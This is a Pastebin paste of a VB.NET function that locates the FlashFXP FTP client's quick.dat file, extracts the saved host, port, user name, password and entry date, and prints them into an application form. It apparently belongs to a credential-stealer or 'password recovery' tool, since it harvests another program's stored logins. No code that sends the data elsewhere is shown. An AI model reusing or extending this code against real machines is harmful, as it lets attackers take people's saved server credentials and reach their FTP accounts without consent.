Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Function FlashFXP() As String
- Dim sPath As String = Replace(Environ$("APPDATA"), Environ$("Username"), "All Users") & "\FlashFXP\" & "3" & "\quick.dat"
- Dim sFile As String = ReadFile(sPath)
- Dim sHost As String = Cut(sFile, "IP=", vbNewLine)
- Dim sPort As String = Cut(sFile, "port=", vbNewLine)
- Dim sUser As String = Cut(sFile, "user=", vbNewLine)
- Dim sPwd As String = Cut(sFile, "pass=", vbNewLine)
- Dim sEntry As String = Cut(sFile, "created=", vbNewLine)
- If Not sUser = "" Then
- Try
- FlashFXP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
- Dim nl As String = vbNewLine
- Form1.ztext.AppendText(nl)
- Form1.ztext.AppendText("============FlashFXP==============")
- Form1.ztext.AppendText(nl)
- Form1.ztext.AppendText("Entry: " & sEntry)
- Form1.ztext.AppendText(nl)
- Form1.ztext.AppendText("Host: " & sHost)
- Form1.ztext.AppendText(": " & sPort)
- Form1.ztext.AppendText(nl)
- Form1.ztext.AppendText("User: " & sUser)
- Form1.ztext.AppendText(nl)
- Form1.ztext.AppendText("Password: " & sPwd)
- Form1.ztext.AppendText("=============================")
- Form1.ztext.AppendText(nl)
- Catch ex As Exception
- Form1.ztext.AppendText("============FlashFXP==============")
- Form1.ztext.AppendText(vbNewLine)
- Form1.ztext.AppendText("FlashFXP Couldn't Be Recovered!")
- Form1.ztext.AppendText(vbNewLine)
- Form1.ztext.AppendText("=================================")
- End Try
- Else
- End If
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement